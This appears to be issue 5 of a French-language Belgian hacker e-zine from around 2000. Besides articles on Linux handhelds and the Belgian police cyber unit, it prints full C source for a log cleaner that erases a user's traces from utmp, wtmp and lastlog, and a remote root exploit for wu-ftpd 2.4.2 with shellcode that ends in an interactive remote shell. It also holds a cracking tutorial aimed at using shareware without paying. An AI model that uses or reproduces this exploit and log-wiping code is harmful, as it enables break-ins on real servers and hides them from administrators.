œœœœœœ õõõõõõ**** 55555555555
** ************** 555
**|********* ** ** ************* 55
** œœœœœ *** *** ** 666 * ___ 555
*|* ** *** ** 666 * / ) 55 5555 5 5
*| * ** ** ** ** ! ) 55555 5 5 55 5
*|* * ** ** ££££££** ÝÝ 999999 (___) 55
**|*********** **66666* ** ÝÝ ** 555
$$|* ** **6666** ** ÝÝ ** 55
*|* * ** ** ** ÝÝ ** 55
*|** ** ** ** ** ÝÝ ** 55
*/* ******** *** ** ** 55 555
$$$$$$$ BHZ *** !!!!!!!!!!!!! 55 555
* ----- ****
The Belgian Hackers Zone !!!
BHZ Mag n0 5 !!! Dej… le 5eme numero de ce zine. Bon, ce cinquieme numero est l'occasion de vous presenter les nouveaux membres : Deepthroat (teknocide@hotmail.com), Sexywax (mulphex78@hotmail.com) il y a aussi Grim@ qui n'est pas membre mais qui ecrit des articles pour le zine.
Visitez le site du BHZ : www.bhz.be.tf start.be/bhz www.altern.org/bhz
Voici la repartition (plus ou moins) des taches au BHZ :
Asmodeus : hacking, phreaking, linux, etc... asmodeus@mail.be
Deepthroat : bombes, pieges, explosifs, armes, etc... teknocide@hotmail.com
Flat Eric : piquer la copine d'Asmodeus..., glander, s'amuser avec son commodore 64,... Flat_eric@moncourrier.com
Greven : glander, un peu de html, un peu de gfx... il change tt le temps d'email...
Sexywax : cracking, programation, gfx,etc... mulphex78@hotmail.com
Grim@ : cracking grima@hotmail.com
<<<--->>> On ne vous incite en aucun ca à faire quoi que ce soit suite à la lecture de ces articles. Consultez les dans un but informatif uniquement. Nous ne pourrions en aucun cas etre tenus responsables de vos actes suite à la lecture de ce zine <<<--->>>
1.Linux sur les machines de poche [ by Asmodeus ]
*********************************
2.Comment effacer ses traces des logs ? [ by Asmodeus ]
***************************************
3.Tutorial sur le cracking [ by Grim@ ]
***************************
4.Exploit à distance de Wu-ftpd [ by Asmodeus ]
*******************************
5.Le CCU (Computer Crime Unit) [ by Asmodeus ]
******************************
6.Les petites recettes maisons [ by Deepthroat ]
******************************
7.Le virus I LOVE YOU [ by Asmodeus ]
*********************
8.Hack de carmail version 4 [ by Asmodeus ]
***************************
9.S'amuser avec les abonnements Tempo (Mobistar) [ by Asmodeus ]
************************************************
10.S'amuser à la maison [ by Asmodeus ]
***********************
*************************************
* 1.Linux sur les machines de poche *
*************************************
L'annee 2OOO serait-elle l'annee LinuX pour les machines de poche ? De plus en plus de constructeurs se tournent vers le pingouin...
Le YOPI
-------
Samsung : le constructeur coreen est sur le point de mettre sur le marche un PDA de type "palm ardoise" dont la particularite est de tourner sous Linux : le Yopi.
Y'a dejà pas mal d'applications prevues pour cette machine qui tourne sous ARM Linux : lecteur MP3, jeux, email, navigateur, etc...
Le YOPI a un ecran de 4 pouces pour une resolution de 240x320 en 65536 couleurs. le processeur est cadence à 206 Mhz ce qui permet d'avoir des programmes assez interessants.
Le YOPI permet de regarder des films et de surfer sur internet en couleurs et avec du son stereo.
Il a un port CompactFlash qui est le standard le plus repandu sur les machines de poche.
Il peut transmettre des informations via le port infrarouge (IrDA) à 4 Mbps. Il permet l'enregistrement de messages avec son micro integre. Le dock du YOPI peut se connecter via le port USB au PC. Il utilise la reconnaissance d'ecriture et le stylet pour naviguer dans l'OS et les differentes applications. Il dispose aussi d'un mode alarme/vibreur.
L'ecran est un ecran TFT à cristaux liquides. Il dispose de 32 Mo de RAM et de 32 ou 64 Mo de memoire Flash. Il permet la synchronisation via le PC ou via internet. Il peut d'ailleurs se connecter sur internet avec un telephone mobile ou un modem normal.
Il existe aussi en option une camera et un tuner pour regarder la TV. Il pese 225 grammes et ses dimensions en cm sont de 12.88 (hauteur) x 8.35 (largeur) x 1.99 (profondeur).
Le YOPI permet donc de surfer sur internet, regarder la TV, prendre des photos (camera), regarder les photos prises avec un appareil digital (port CompactFlash type II).
On peut le synchroniser soit via le port USB ou le port serie soit via Internet. Il utilise des batteries Li-on 1400mAh. Le YOPI permet la mise à niveau de l'OS facilement et gratuitement (puisque base sur Linux). Le YOPI devrait sortir vers la fin du premier semestre 2000 aux Etats-Unis mais il n'y a pas encore de dates annoncees pour l'Europe...
Linux à la place de Windows CE ??
---------------------------------
On connaissait dejà les projets visants à porter Linux sur des machines fonctionnant sous PalmOS (Palm) ou EPOC (Psion). Un projet plus original de porgtage de Linux sur les machines utilsant windoze CE est en cours. Les palmtops cibles sont entre autre les casio cassiopeia E-105, Compaq Aero, Philips Nino, Everex Freestyle et toutes les machines equipees de processeur StrongArm. Les efforts des devellopeurs se sont concentres au depart sur la sequence de demarrage qui charge le noyau de Linux. Il leur faut maintenant aborder des developpements complementaires telle la "nanogui", interface utilisateur adaptee au ecrans des PalmTops, derivee de XWindows. Les machines à clavier sont celles ou une interface de saisie reste la plus simple à mettre en oeuvre. Les PDA pilotes par reconnaissance de l'ecriture necessitent un travail beaucoup plus complexe, puisqu'il faut tout simplement developper une nouvelle methode de saisie des donnees.
Les projet Microwindows et Nano-GUI
-----------------------------------
Microwindows est un projet Open Source visant à porter les specificites d'une interface graphique et d'un systeme moderne sur des machines de poche. Microwindows permet aux applications d'etre crees et testes sur un systeme Linux et la source doit etre recompilee en partie pour le portage sur la machine de poche. microwindows a ete cree en meme temps que le projet Nano-GUI. L'implemantation de l'API Win32/WinCE se fait avec Microwindows et l'implemantation de l'API Xlib se fait avec Nano-X. La derniere version (la 0.88pre6) supporte GDK/GTK+, opera, Kaffe et FLTK (fast Light Tool Kit (C++) ). Il supporte aussi les polices TrueType et Adobe T1. grace aux drivers mis à la disposition des developpeurs, une machine avec un ecran de 3 x 5 pouces LCD peut avoir une resolution de 640 x 480. Microwindows comporte aussi l'alphablending (comme Win 2000 et Mac OS X) personnellement je trouve que ca ne sert à rien mais les developpeurs avaient envie de le mettre parce qu'ils trouvaient ca joli... Comme c'est encore en cours de developpement, il n'y a que peu de programmes (lecteurs de ficheirs JPG et BMP, demineur, navigateur web (Opera), etc...) La console est identique à celle de n'importe quel systeme Linux.
Pour plus d'infos : http://www.microwindows.censoft.com
Le projet DinX
--------------
DinX est une interface graphique experimentale, concu pour etre simple, leger et rapide, de facon à ce qu'il puisse etre porte sur des petits sytemes, comme des machines de poche. DinX est soumis à la Mozilla Public License avec une option pour le convertir en GPL. C'est parce que le kernel de DinX peut eventuellement etre base sur une distribution Linux et donc les librairies de DinX pourraient etre en rapport avec d'autres produits GPL. DinX utilise le driver frame buffer video du kernel de Linux et y ajoute /dev/dinxsvr et /dev/dinxwin. Un programme peut se connecter à /dev/dinxwin et changer la place d'une fenetre sur l'ecran. Il envoie aussi des evenements comme les mouvements de la souris.
*******************************************
* 2.Comment effacer ses traces des logs ? *
*******************************************
<<<--->>> On ne vous incite en aucun ca à faire quoi que ce soit suite à la lecture de ces articles. Consultez les dans un but informatif uniquement. Nous ne pourrions en aucun cas etre tenus responsables de vos actes suite à la lecture de ce zine <<<--->>>
Si vous avez eu acces … un ordi et que vous avez fait des changements, voici commet effacer les traces...
Il faut editer les fichier /etc/utmp, /user/adm/wtmp et /user/adm/lastlog mais vous ne pouvez pas les
editer avec un editeur normal comme VI il faut un programme special comme celui-ci :
<---couper ici--->
#include
#include
#include
#include
#include
#include
#include
#include
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
int f;
void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;
if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}
void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;
pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {
while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}
void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;
if ((pwd=getpwnam(who))!=NULL) {
if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}
} else printf("%s: ?\n",who);
}
main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap2!\n");
} else
printf("Error.\n");
}
<---couper ici--->
***************************************
* 3.Tutorial sur le cracking by Grim@ *
***************************************
<<<--->>> On ne vous incite en aucun ca à faire quoi que ce soit suite à la lecture de ces articles. Consultez les dans un but informatif uniquement. Nous ne pourrions en aucun cas etre tenus responsables de vos actes suite à la lecture de ce zine <<<--->>>
Poetry Scene
Ils sont la, parmi nous...
ils nous observent et ils nous jugent...
Mais vous aussi vous jugez et condamnez
Vous considérez ces gens comme des rebus
des branches a élaguer, des exclus...
Jours après jours, vous les damnez
années après années, vous les combattez
mais sans cesse renaissant, toujours battant,
ils réapparaissent, chevalier ardent !
Ils sont la, parmi nous...
ils nous observent et ils nous jugent...
Vous croyez les voir, les connaître,
votre esprit les guette et les pénètre
mais jamais, au grand jamais
vous ne pourrez les reconnaître...
Car ils se cachent, et prospèrent
en chacun de nous, au fond de l'être
ado passionné, étudiant branché,
ingénieur fortuné, quelqu'un avec des idées
Toujours prêts, en latence
Cette petite graine prête à germer....
Ils sont la, parmi nous...
ils nous observent et ils nous jugent...
Vous les voyez, sales et dégouttants,
camés et dangereux,
Mais tournez vous et regardez...
Le reste de notre société, est-il différent ?
les chômeurs, les sans-papiers,
les pdg et les gros bonnets
l'extrême droite et les beauf,
les réacs et les néons mauve !
Ils sont la, parmi nous...
ils nous observent et ils nous jugent...
On prononce leurs noms et vous crachez,
mais tous au fond, vous les jalousez
secrètement, ils vous passionnent,
secrètement, ils sont idoles...
Pauvre est le Lamer,
pauvre et déseuvré,
criant haut et fort qu'il en est...
Ils sont la, parmi nous...
ils nous observent et ils nous jugent...
Je ne suis qu'un NewBie,
apprenant, patiemment les ficelles du métier
mais de mes sentiments je ne me cache pas,
je renie la société, l'autorité
l'élite est mon Dieu,
l'information et le savoir ma nourriture
L'ungerground est le garde-fous de la société,
le reste n'est que pourriture
Je puis plus vous expliquer,
J'ai choisi, c'est la ma destinée....
GrIm@ l'Apprenti s0rcier
-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-
- «««««««« ¡ Underground Production ¡ »»»»»»»
-
- LES NEWBIES D'AUJOURD'HUI SONT LES 3L33T3 DE DEMAIN
-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-
<------------------------------TAILLE IDEALE,800x6000--------------------------------------->
0000011110001111100010001001000010001000100000000101100001100100100111001000100001000010000111111000010000100001110000100011000011110000000
CRACKING_BEGINNER n°01 by GRIm@, L'Apprenti Sorcier
INTRO:
£££££
Salut à tous, moi c'est GRIm@, et aujourd'hui on vas parler un peux de
cracking, ... Ce cour est le premier d'un longue série, qui je l'espére vous sera utile.
Si j'ai décidé d'écrire ces tuts, ce n'est non pas par manque de tuts accesible pour les
newbies, mais plutot parceque je trouvais que beaucoup d'entre-eux étais, si non pas
clair, assez court et trop succint. Je vais donc ici tenter de commencer par le début, mais
d'abborder beaucoup d'exemple et de situation compléte, puis, peux à peux, augmenter le niveau.
Je ne suis pas spécialement un 3l33t3, donc il est certain que des erreurs ou des
imprécision ont pus se glisser dans les tuts. Si vous avez des commentaires, n'hésiter pas à m'en
faire part à grima@hotmail.com (insultes, remerciements, réflexion, demande,...). Si vous
êtes déjà un Cracker inutile de lire les premiers tuts, il seront vraiment trop simple pour vous,
et si vous êtes une 3l33t3 alors passez carémment votre chemin ;-). Bon voilà, bref on y vas !
0) Le cracking, c'est koi ?:
££££££££££££££££££££££££££££
Bon, je vais essayer de vous donner tout d'abord un sorte de définition personelle du cracking (personelle, donc subjective). Le Cracking, c'est tout d'abord une branche trés active de la scene underground (francophone et autres), c'est cette branche qui permet à tout un chaqu'un d'utiliser des programmes non-acheté (CD-Grabbés, et Crack). Mais le Cracking, ce n'est vraiment pas que ca, le Cracking, c'est aussi et surtout une sorte de jeux de programmation entre le programmeur et le cracker. Le Cracking pourrait être résumé par "L'Art de détourner un programme de son fonctionnement normal", bien que cette définition englobe aussi le Reverse-Engineering qui lui est le rajout de fonction non-prévue à un programme. Le Cracker
prend souvent un malin plaisir à réussir à battre le programmeur sur son terrain, en modifiant le
plus souvent les programmes demos et sharewares de sorte qu'ils fonctionnent de façon
optimale. Un bon cracker est (je pense) surement programmeur dans l'âme, mais cette activitée est
ouverte à tous, connaisseurs comme non-initié. Finalement, le Cracking apporte aussi une
connaissance aprofondie de la maniére dont fonctionne un ordinateur et les programmes qui tourne
dessus (OS et Prog). Pour conclure, je citerais un certain TaMaMBolo (une 3l33t3 qui sort DrapeauNOIr):
"Linux WiNNer, Bye Bye Cracker"... ;-)
1) Le cracking comment ca marche ? Premiére basse:
££££££££££££££££££££££££££££££££££££££££££££££££££
Bon, tout d'abord, il faut que je vous dise que le cracking, c'est comme en
Hack ou en Phreak, y'a pas de solutions miracle ! il faut apprendre des trucs, les retenir et
les appliquer, mais chaqu'un garde sa façon de travailler... Autrefois (y'a pas si longtemps
rassurez-vous), il y avait surtout 2 façon principale pour le cracking, mais aujourd'hui, face
à la proffusion des systéme de sécurité (Multi-Checksum, VBox, RSAgent, Encryption et
Compression), il faut presque absolument utiliser les deux en combinaisons. Ce sera le but des prochains chapitres que de vous apprendre ces différentes teknik. Bon, commencons, je suppose que vous avez déjà tous essayer d'ouvrir un programme (exe ou com) avec un éditeur de texte (style edit ou m$Wordpad...), et qu'avez vous vu ? Ben oui, une série de caractére illogique et
incompréhensible pour l'être humain normalement constitué ! Vous vous êtes surement dit que le programmes étais fait spécialement, et qu'ils étaient crypté ou compressé, ou tout autre truc trés spécial. Hé bien en fait c'est faux, les programmes sont tout à fait en clair, mais seulement, il utilise non pas la base 10 (notre systéme de compte habituel formé de dix chiffres,
0,1,2,3,4,5,6,7,8,9) mais la base 16 aussi apelée Hexadécimale (base 10 = décimal). L'Hexadécimal est un des fondement du cracking, celui qui veut s'y lancer doit absolument le comprendre (c'est pas trés compliqué faut avouer). En fait, l'Hexadécimal n'est pasque réservé au cracking, presque
tous le systéme d'un ordinateur PC (je sais pas pour les autres) est basé sur se systéme (Bien
sur, pour le processeur tout est transformé en Binaire, mais l'Hexadécimal représente une
bonne alternative pour la compréhension entre humain et ordi.). Nous reviendrons à
l'HexaDécimal plus tard, et plus en détails. Une autre composantes indispensable et qui vas de pair avec l'Hexa et l'Assembleur, le sacro-saint language qui effraie tellement les newbies. En
fait, l'Assembleur est le language dans lequel sont transformés tous les programmes aprés leur
écriture dans d'autre language (C/C++, Delphi, Visual Basic,...). Pour m'exprimmer plus
clairement, quand vous écrivez par exemple un programme en C++, ensuite vous le compilez, et là, le compilateur se charge de "traduire" votre programme en Asm (Asm = Assembleur, et Hexa =
Hexadécimal, notez qu'un nombre hexadécimal se note aussi par exemple pour 9: 9h). Comme tous
language, l'Asm est composé d'instructions (nous y reviendrons aussi) qui sont écrite
directement en Hexadécimal. Bien sûr, il existe une "traduction" en language compréhensible pour
l'homme. L'Assembleur est directement interprété par le processeur, il lui suffit donc de traduire des nombres en Hexadécimal en Binaire et l'inverse. Tout le boulot d'un cracker sera
justement d'aller modifier ces instructions assembleur pour que le programme fonctionne comme on
l'entend. Pour ce faire, et comme je le disais tantot, il existe de nombreux outils et de nobreuses techniques sur lesquelles nous reviendront en détails, promis !
2) Le Cracking m'apprend des choses sur mon ordi !
££££££££££££££££££££££££££££££££££££££££££££££££££
2.1) L'Hexadecimal
µµµµµµµµµµµµµµµµµµ
Bon, nous allons revenir un peux plus en détails sur ce fameux systéme de
comptage qu'est l'Hexadecimal, vous aller le voir c'est pas compliqué. L'Hexa est donc un
systéme pour compter comprenant 16 chiffre (au lieu de 10 dans notre systéme décimal), ceux-ci
sont: 0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F. Vous voyez donc que l'on a introduis des lettres dans le
systéme pour avoir nos 16 chiffres. En gros, A=10, B=11,... et F=15, c'est donc assez simple et pas trés compliqué (j'me répete la non ?). Mais attenttion, il faut jamais oublié que par
exemple 10h (10 en Hexa) n'est pas du tout égal à 10 en décimal, en effet, 10h=16. Sinon, je vous
fait confiance, vous deviez être assez intelligent pour arriver à compter non ?
2.2) L'Assembleur
µµµµµµµµµµµµµµµµµ
Bon, on vas attaquer maintenant un autre chapitre disons un peu plus
compliqué, mais pas d'inquiétude, pas tellement... Mais avant de commencer, je voudrais vous
dire qu'ici je n'expliquerais que quelque base d'Assembleur (ou ce qui nous est nécessaire
dans notre lutte), pour trouver de vrai cour d'Assembleur, chercher sur le net (Je vous
reccomande l'excellent tut de Falcon sur le sujet dans "La Bible du Cracker", 187Ko). Bon, on vas
comemncer, non ?!
Comme tout language de programmation, l'ASM est composé d'instruction qui
permettent d'effectuer des actions, mais comme ce language est trés prés du systéme, il est
possible d'utiliser de nombreuse fonction de celui-ci. Mais Voyons tout d'abord quelque
instrucions:
-mov
-jmp
-jne/je/j*
-cmp
-test
-sub/add
-call & ret
Bon, regardons les dans l'ordre, mov permet de déplacer une valeur, ou
plutot d'assigner à une mémoire une valeur quelconque. Ex: mov eax, 00000012. Ici je place dans eax (on verra aprés ce que c'est, disons pour l'instant que c'est une sorte de variable) une
valeur, ici 12h. Vous avez surement remarqué qu'on la disposition spéciale: "mov variable, valeur", il est donc tout à fait interdit de faire ceci: "mov 00000012, eax", puisqu'ici on assigne comme variable une valeur fixe (pour mieux dire, on ne peut affecter la valeur de eax à 12h puisqu'il ne s'agit pas d'une zone de la mémoire (une variable) mais une valeur fixe). Ensuite, jmp, quant à elle sert à faire un "jump", c'est à dire à sauter. En effet, l'Asm (=assembleur) est exécuté ligne par ligne (programmation linéaire != programmation événementielle ou programmation objet), et donc si l'on veut passer à une autre ligne que la suivante, il faut absolument en sauter certaine, d'ou le nom de "jump". Ex: "jmp 00405689". Ici, le programme vas sauter à la ligne 00405689 et ce quelque soit l'endroit ou on est. Les différent saut logique (c'est leur nom) tel que "je", "jne",... permettent quant à eux de sauter à une ligne uniquement si une condition est remplie. Ex: "jne 00405689". Jne signifie Jump if Not Equal, et Je Jump if Equal... Les deux instructions suivantes, test et cmp permettent quant à elle de justement spécifier une condition. Ex:
-test eax, eax /* eax = 0 ?
je 00405689 /* si oui saute, si non saute pas
-cmp eax, 00000000 /* eax = 0 ?
jne 0045689 /* saute si eax != 0
Avouez que c'est pas trés compliqué quand même non ? Les deux instruciotn
suivantes, sub et add
sont des opération mathématique; sub est une soustraction et add une
addition.
Ex: -sub eax, 00000008 /* retire 8 à eax, ou eax = eax - 8
-add eax, 00000007 /* ajoute 7 à eax, ou eax = eax + 7
Maintenant, l'instruction call, celle-ci permet comme un jmp d'aller sur des
lignes de code spécifiées, mais en plus, de pouvoir revenir sur la ligne suivant le call en
utilsant la comande ret. Ex: call 00405689. Bref, cette instruction permet à votre programme de
faire des sortes de fonction...
Bon, avec tout ca, vous pouvez déjà nous composer un joli petit prog non ?
On va essayer:
...
call 00405689
sub eax, 0000002
cmp eax, 0000001
je 00405874
jmp 00405872
...
En gros ici, on apelle une fonction qui vas mettre une valeur dans eax, puis
on enléve 2 à eax, ensuite on regarde si eax = 1 et si c'est le cas on saute plus loin, par
contre si ca n'est pas le cas, le jmp nous permettra d'aller 2 lignes juste avant celle ou nous
aurions dus arriver si eax avait égaler 3 à la sortie de la fonction (vous me suivez toujours
?Soyez sur de comprendre, c'est vraiment la base base base...).
Bon aller, on vas arreter l'Assembleur pour le moment, mais soyez sur de
bien comprendre, le reste on le verra au fur et à mesure qu'on avancera.
3) De quoi j'ai Besoin ?
££££££££££££££££££££££££
-D'un cervau: Trés important ici, puisque le but c'est d'être plus intelligent que le prgrammeur.
-De Temps: Hé oui, cracker ca prend parfois du temps (surtout au début) alors si vous avez des devoirs, faite-les en priorités.... ;-)
-D'une conscience: heu... la je suis pas sûr !!
-D'un Ordi (la bonne blague) de préférence avec Windob... (LiNuX WiNnEr)
-De programmes: Veille-toi à te munir des pas mal de prog, ca sert toujours...
Parmis les indispensables: WDasm 8.93, SoftIce (je crois que c'est la version 5), HView, calculette et convertisseur Hexa.
Les Utiles: FileMon et RegMon, Un décompilateur VB (Dodi's
vb discompiler), ProcDump, PeSniffer 1.6, Frog's Ice, Une doc compléte sur
les API de Windobe, un PatchMaker pour distribuer ses propre Crack, Plein de Doc
sur l'Asm et la coresspondance Hexa, ...
Les "J'men sert Parfois": Un décompilateur Java (JAB) et
Delphi (EXE2DPR), un éditeur de resource (Borland Ressource WorkShop,
Restorator,...), un Comparateur de Fichier, Différent prog ayant une utilité trés ciblée
(décompresseur, décrypteur, ...) ...
Vous pouvez tout trouver sur le net, cherchez sur les sites
de cracking, ou http://astalavista.box.sk
-De Cible: Ca y'a pas de probléme, le net ou les CD regorge de programmes Shareware....
Je Crois que c'est à peux prés tout, mais il se peut que ma mémoire défaille... ;-)
#) Out
££££££
Bon allez, je Crois que ca doit suffire pour Aujourd'hui non ? Mais ne vous
inquiétez pas, le n°2 vas surement bientot sortir aussi (déjà au sommaire: WDAsm, une liste
d'instruction, etc...). Sinon, rien que pour vous je vous file une liste de site parlant de Cracking avec des groupes francophone assez actif:
http://zone14.cjb.net [Zone 14], C'est mon groupe =-)
(pub, spam ;-)
http://tamambolo.free.fr/" TaMamBoLo (DrapeauNoir)
http://mainrouge.cjb.net/ La Main Rouge
http://www.geocities.com/Paris/6770/IRIP/ IRIP Center of Cracking
http://crackfr.cjb.net/ crackfr.com #CRACK.FR UNDERNET
http://www.citeweb.net/atpteam/ ATP TEAM !!
http://reverserlinks.cjb.net/ Reverser's links
http://astalavista.box.sk/ ASTALAVISTA, LE moteur de
recherche de crack
#EOF CRACKING_BEGINNER n°01 06-04-2000
***********************************
* 4.Exploit à distance de Wu-ftpd *
***********************************
<<<--->>> On ne vous incite en aucun ca à faire quoi que ce soit suite à la lecture de ces articles. Consultez les dans un but informatif uniquement. Nous ne pourrions en aucun cas etre tenus responsables de vos actes suite à la lecture de ce zine <<<--->>>
Wu-ftpd remote exploit (pour la version wu-2.4.2-academ[BETA-18](1) )
Pour Linux x86 (Redhat 5.2). Pour exploiter ceci à distance, vous devez avoir
un repertoire où vous pouvez ecrire des privileges, c'est l'argument
vous pouvez aussi utiliser ca localement en specifiant -l avec
le = votre repertoire.
*/
#include
#include
#include
#include
#include
#include
#include
#define RET 0xbfffa80f
void logintoftp();
void sh();
void mkd(char *);
int max(int, int);
char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\xb0\x17\xcd\x80"
"\x31\xc0\x31\xdb\xb0\x2e\xcd\x80"
"\xeb\x4f\x31\xc0\x31\xc9\x5e\xb0\x27\x8d\x5e\x05\xfe\xc5\xb1\xed"
"\xcd\x80\x31\xc0\x8d\x5e\x05\xb0\x3d\xcd\x80\x31\xc0\xbb\xd2\xd1"
"\xd0\xff\xf7\xdb\x31\xc9\xb1\x10\x56\x01\xce\x89\x1e\x83\xc6\x03"
"\xe0\xf9\x5e\xb0\x3d\x8d\x5e\x10\xcd\x80\x31\xc0\x88\x46\x07\x89"
"\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd"
"\x80\xe8\xac\xff\xff\xff";
char tmp[256];
char name[128], pass[128];
int sockfd;
int main(int argc, char **argv)
{
char sendln[1024], recvln[4048], buf1[800], buf2[1000];
char *p, *q;
int len, offset = 0, i;
struct sockaddr_in cli;
if(argc < 3){
printf("usage: %s [-l name pass] [offset]\n", argv[0]);
exit(0);
}
if(argc >= 4){
if(strcmp(argv[3], "-l") == 0){
strncpy(name, argv[4], 128);
strncpy(pass, argv[5], 128);
} else {
offset = atoi(argv[3]);
}
if(argc == 7)
offset = atoi(argv[6]);
}
if(name[0] == 0 && pass[0] == 0){
strcpy(name, "anonymous");
strcpy(pass, "bill@microsoft.com");
}
bzero(&cli, sizeof(cli));
bzero(recvln, sizeof(recvln));
bzero(sendln, sizeof(sendln));
cli.sin_family = AF_INET;
cli.sin_port = htons(21);
inet_pton(AF_INET, argv[1], &cli.sin_addr);
if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
perror("socket");
exit(0);
}
if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0){
perror("connect");
exit(0);
}
while((len = read(sockfd, recvln, sizeof(recvln))) > 0){
recvln[len] = '\0';
if(strchr(recvln, '\n') != NULL)
break;
}
logintoftp(sockfd);
printf("logged in.\n");
bzero(sendln, sizeof(sendln));
for(i=0; i<996; i+=4)
*(long *)&buf2[i] = RET + offset;
memset(buf1, 0x90, 800);
memcpy(buf1, argv[2], strlen(argv[2]));
mkd(argv[2]);
p = &buf1[strlen(argv[2])];
q = &buf1[799];
*q = '\x0';
while(p <= q){
strncpy(tmp, p, 200);
mkd(tmp);
p+=200;
}
mkd(shellcode);
mkd("bin");
mkd("sh");
p = &buf2[0];
q = &buf2[999];
while(p <= q){
strncpy(tmp, p, 250);
mkd(tmp);
p+=250;
}
sh(sockfd);
close(sockfd);
printf("finit.\n");
}
void mkd(char *dir)
{
char snd[512], rcv[1024];
char blah[1024], *p;
int n;
bzero(blah, sizeof(blah));
p = blah;
for(n=0; n 0){
rcv[n] = 0;
if(strchr(rcv, '\n') != NULL)
break;
}
return;
}
void logintoftp()
{
char snd[1024], rcv[1024];
int n;
printf("logging in with %s: %s\n", name, pass);
memset(snd, '\0', 1024);
sprintf(snd, "USER %s\r\n", name);
write(sockfd, snd, strlen(snd));
while((n=read(sockfd, rcv, sizeof(rcv))) > 0){
rcv[n] = 0;
if(strchr(rcv, '\n') != NULL)
break;
}
memset(snd, '\0', 1024);
sprintf(snd, "PASS %s\r\n", pass);
write(sockfd, snd, strlen(snd));
while((n=read(sockfd, rcv, sizeof(rcv))) > 0){
rcv[n] = 0;
if(strchr(rcv, '\n') != NULL)
break;
}
return;
}
void sh()
{
char snd[1024], rcv[1024];
fd_set rset;
int maxfd, n;
strcpy(snd, "cd /; uname -a; pwd; id;\n");
write(sockfd, snd, strlen(snd));
for(;;){
FD_SET(fileno(stdin), &rset);
FD_SET(sockfd, &rset);
maxfd = max(fileno(stdin), sockfd) + 1;
select(maxfd, &rset, NULL, NULL, NULL);
if(FD_ISSET(fileno(stdin), &rset)){
bzero(snd, sizeof(snd));
fgets(snd, sizeof(snd)-2, stdin);
write(sockfd, snd, strlen(snd));
}
if(FD_ISSET(sockfd, &rset)){
bzero(rcv, sizeof(rcv));
if((n = read(sockfd, rcv, sizeof(rcv))) == 0){
printf("EOF.\n");
exit(0);
}
if(n < 0){
perror("read");
exit(-1);
}
fputs(rcv, stdout);
}
}
}
int max(int x, int y)
{
if(x > y)
return(x);
return(y);
}
**********************************
* 5.Le CCU (Computer Crime Unit) *
**********************************
Le CCU est la police informatique de Belgique mais ce ne sont pas des informaticiens qui en font partie,
et non : ce sont des policiers qui se disent auto-didactes (comme bon nombre de hackers...) Et en plus ils sont
pas beaucoup : une dizaine … Bruxelles et 3 ou 4 par province... C'est ces ptits rigolos qui ont buste
ReDaTtAcK et ils disent de lui que c'est un script kiddie... Red lui dit que quand la P.J. de Gand s'est amene
chez lui, ils ont allume son ordinateur et comme c'etait Linux qui etait installe,
ils savaient pas s'en servir !! C'est pour ca qu'ils ont fait appel au CCU...
Mais … mon avis ils sont trop peu nombreux pour tout le pays... C'est sans doute parce que jusqu'… maintenant
il n'y avait que peu de hacking en Belgique... D'apres un de ces mecs, ils sont … la recherche d'un groupe de hackers belges
(probablement le groupe hack.be) qui se sont dej… fait quelques serveurs de banques et de societes...
Moi, je ne pense pas qu'ils vont les avoir, le CCU c'est juste des policiers deguises en cyberflics mais ils n'ont pas
recus la formation necessaire et ils pensent etre les meilleurs...
Il y a meme un des gars du CCU qui a dit qu'il trouvait que Back Orifice etait impressionant...
C'est vrai que c'est pas mal mais c'est surtout le troyen le plus utilise ou du moins un des plus utilises....
Et si c'est les mecs qui utilisent Back Orifice qu'ils veulent buster alors c clair qu'ils en sont capables...
Je n'ai pas trouve de site web sur cette organisation... pas la peine de hacker www.ccu.be : c'est le site du centre culturel d'Uccle...
Ils disent aussi avoir demantele un reseau de Warez qui faisait des copies de CD ;
il s'agissait en fait d'un ptit groupe de 4 personnes : un qui copiait, deux qui fournissaient et un qui vendait... Le CCU est donc beaucoup moins actifs que d'autres polices informatiques et il fait donc beaucoup moins parler de lui. Mais on ne sait jamais : peut-être qu'avec de la chance ils arrivreront à buster certaines personnes.... même si pour l'instant, le risque est quasi-nul...
************************************************
* 6.Les petites recettes maisons by Deepthroat *
